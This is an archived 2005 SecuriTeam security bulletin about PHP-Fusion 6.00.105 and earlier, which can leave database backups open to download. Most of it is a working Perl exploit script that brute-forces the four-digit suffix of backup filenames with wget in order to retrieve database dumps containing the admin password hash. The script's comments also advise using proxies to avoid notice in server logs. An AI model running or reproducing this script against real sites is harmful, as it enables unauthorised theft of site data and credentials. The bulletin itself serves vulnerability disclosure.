

[EXPL] PHP-Fusion Accessible Database Backups Download (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-06/0121.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 06/30/05

To: list@securiteam.com

Date: 30 Jun 2005 15:09:47 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

PHP-Fusion Accessible Database Backups Download (Exploit)

SUMMARY

" <<http://www.php-fusion.co.uk/>> PHP-Fusion is a light-weight open-source content management system (CMS) written in PHP. It utilizes a mySQL database to store your site content and includes a simple, comprehensive administration system."

By guessing the year-month-day of a database backup file and the random number 4 digit number given to the file, a remote attacker can retrieve it and extract the content found in it. The following exploit will try to guess the random number given and retrieve the database.

DETAILS

Vulnerable Systems:

* PHP-Fusion versions 6.00.105 and prior

Exploit:

```
#!/usr/bin/perl
```

```
#####
```

```
# D A R K A S S A S S I N S C R E W 2 0 0 5 #
```

Securiteam: [EXPL] PHP-Fusion Accessible Database Backups Download (Exploit)

```
#####  
# Dark Assassins - http://dark-assassins.com/ #  
# Visit us on IRC @ irc.tddirc.net #DarkAssassins #  
#####  
# phpfusiondb.pl; Version 0.1 22/06/05 #  
# PHP-Fusion db backup proof-of-concept by Easyex #  
# Database backup vuln in v6.00.105 and below #  
#####  
# Description: When a db (database) backup is made #  
# it is saved in /administration/db_backups/ on 6.0 #  
# and on 5.0 it is saved in /fusion_admin/db_backups/#  
# The backup file can be saved in 2 formats: .sql or #  
# .sql.gz and is hidden by a blank index.php file but#  
# can be downloaded client-side, The filename is for #  
# example : backup_2005-06-22_2208.sql.gz so what we #  
# can do is generate 0001 to 9999 and request the #  
# file and download it. If a db file is found an #  
# attacker can get the admin hash and crack it or #  
# retrieve other sensitive information from the db! #  
#####  
  
# 9999 requests to the host is alot, And would get noticed in the server  
log!  
# If you re-coded your own script with proxy support you would be fine.  
# You need to know the backup year-month-day to be able to find a backup  
file unless the server is set to automaticly  
# backup the php-fusiondatabase.  
  
my $wget='wget';  
  
my $count='0';  
  
my $target;  
  
if (@ARGV < 4)  
{  
  print "\n";  
  print "Welcome to the PHP-Fusion db backup vulnerability\n";  
  print "Coded by Easyex from the Dark Assassins crew\n";  
  print "\n";  
  print "Usage: phpfusiondb.pl <host> <version> <file> <extension>\n";  
  print "Example: phpfusiondb.pl example.com 6 backup_2005-06-23_  
sql.gz\n";  
  print "\n";  
  exit();  
}  
  
my $host = $ARGV[0];  
my $ver = $ARGV[1];  
my $file = $ARGV[2];  
my $extension = $ARGV[3];
```

Securiteam: [EXPL] PHP-Fusion Accessible Database Backups Download (Exploit)

```
if ($ver eq "6") {
    $dir='/administration/db_backups/'; # Directory path to the 6.X
backup folder
}

if ($ver eq "5") {
    $dir='/fusion_admin/db_backups/'; # Directory path to the 5.X
backup folder
}

print "\n";
print "Welcome to the PHP-Fusion db backup vulnerability\n";
print "Coded by Easyex from the Dark Assassins crew\n";
print "\n";

print "Host: $host\n";
print "Directory: $dir\n";
print "File: $file + 0001 to 9999\n";
print "Extension: $extension\n";
print "\n";
print "Attempting to find a db backup file on $host\n";

for($count=0;$count<9999;$count++) {

    $target=$host.$dir.$file.sprintf("%04d", $count).$extension;

    system("$wget $target");
}
}
```

ADDITIONAL INFORMATION

The information has been provided by Easyex.

The original article can be found at: <<http://dark-assassins.com/>>

<http://dark-assassins.com/>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.